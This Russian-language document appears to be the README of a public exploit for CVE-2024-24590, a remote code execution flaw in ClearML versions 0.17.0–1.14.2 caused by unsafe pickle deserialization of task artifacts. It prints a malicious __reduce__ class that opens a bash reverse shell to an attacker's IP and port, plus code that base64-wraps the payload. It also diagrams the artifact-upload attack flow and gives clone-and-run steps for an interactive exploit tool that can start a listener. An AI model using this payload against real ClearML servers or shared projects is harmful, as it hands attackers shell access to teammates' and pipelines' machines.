CVE-2024-24590 – RCE в ClearML через небезопасную десериализацию pickle-артефактов (0.17.0–1.14.2)
| Поле | Детали |
|---|
| CVE | CVE-2024-24590 |
| Программное обеспечение | ClearML |
| Затронутые версии | 0.17.0 – 1.14.2 |
| Уязвимость | Небезопасная десериализация pickle артефактов задач |
| Аутентификация | Требуется доступ на запись к проекту ClearML |
| Воздействие | Удаленное выполнение кода на любой машине, загружающей артефакт |
| Протестировано на | Ubuntu 22.04, Python 3.9+ |
ClearML — это MLOps-платформа, используемая для отслеживания экспериментов, управления наборами данных и обмена артефактами (моделями, файлами, объектами) между членами команды. Когда артефакт задачи загружается как Python-объект, ClearML сериализует его с помощью модуля pickle языка Python. Когда другой пользователь скачивает и загружает этот артефакт, ClearML десериализует его — также с помощью pickle — без какой-либо проверки целостности или разрешения классов.
Злоумышленник с доступом на запись к общему проекту ClearML может загрузить вредоносный артефакт, содержащий переопределённый метод __reduce__. Любой член команды или автоматизированный конвейер, который получает и загружает этот артефакт, выполнит полезную нагрузку злоумышленника во время десериализации, что приведёт к RCE на его машине.
Модуль pickle в Python принципиально небезопасен для недоверенных входных данных. Магический метод __reduce__ класса управляет тем, как объект восстанавливается при десериализации — он может вернуть любой вызываемый объект и аргументы, включая os.system:
class exploit:
def __reduce__(self):
return os.system, ("bash -c 'bash -i >& /dev/tcp/<IP>/<PORT> 0>&1'",)
При сериализации и последующей десериализации Python вызывает os.system(cmd) как часть восстановления объекта — до того, как вызывающий код получит возможность проверить объект.
Злоумышленник (доступ на запись в проект)
│
▼
task = Task.init(project_name="shared-project", task_name="exploit")
task.upload_artifact("model", artifact_object=exploit())
│
▼
Сервер ClearML хранит артефакт как сериализованный pickle бинарный объект
│
▼
Жертва получает артефакт (автоматизированный конвейер / ручная проверка)
task.artifacts["model"].get()
│
▼
pickle.loads(blob) → срабатывает __reduce__ → os.system(reverse_shell_cmd)
│
▼
Reverse shell подключается обратно к злоумышленнику
Команда reverse shell кодируется в Base64 перед внедрением, чтобы избежать проблем с кавычками в сериализованной строке:
bash_cmd = f'bash -c "bash -i >& /dev/tcp/{ip}/{port} 0>&1"'
b64 = base64.b64encode(bash_cmd.encode()).decode()
cmd = f'echo {b64} | base64 -d | sh'
git clone https://github.com/rippsec/CVE-2024-24590-ClearML-RCE-Exploit.git
cd CVE-2024-24590-ClearML-RCE-Exploit
pip install -r requirements.txt
Требования: clearml, pwntools, colorama
python3 exploit.py
Интерактивное меню проводит через два шага:
Шаг 1 — Инициализация ClearML (option 1)
Запускает clearml-init для настройки учётных данных для целевого сервера ClearML. Сначала создаёт резервную копию существующего ~/clearml.conf.
Шаг 2 — Запуск эксплойта (option 2)
Запрашивает:
При необходимости автоматически запускает слушатель pwncat перед загрузкой артефакта.
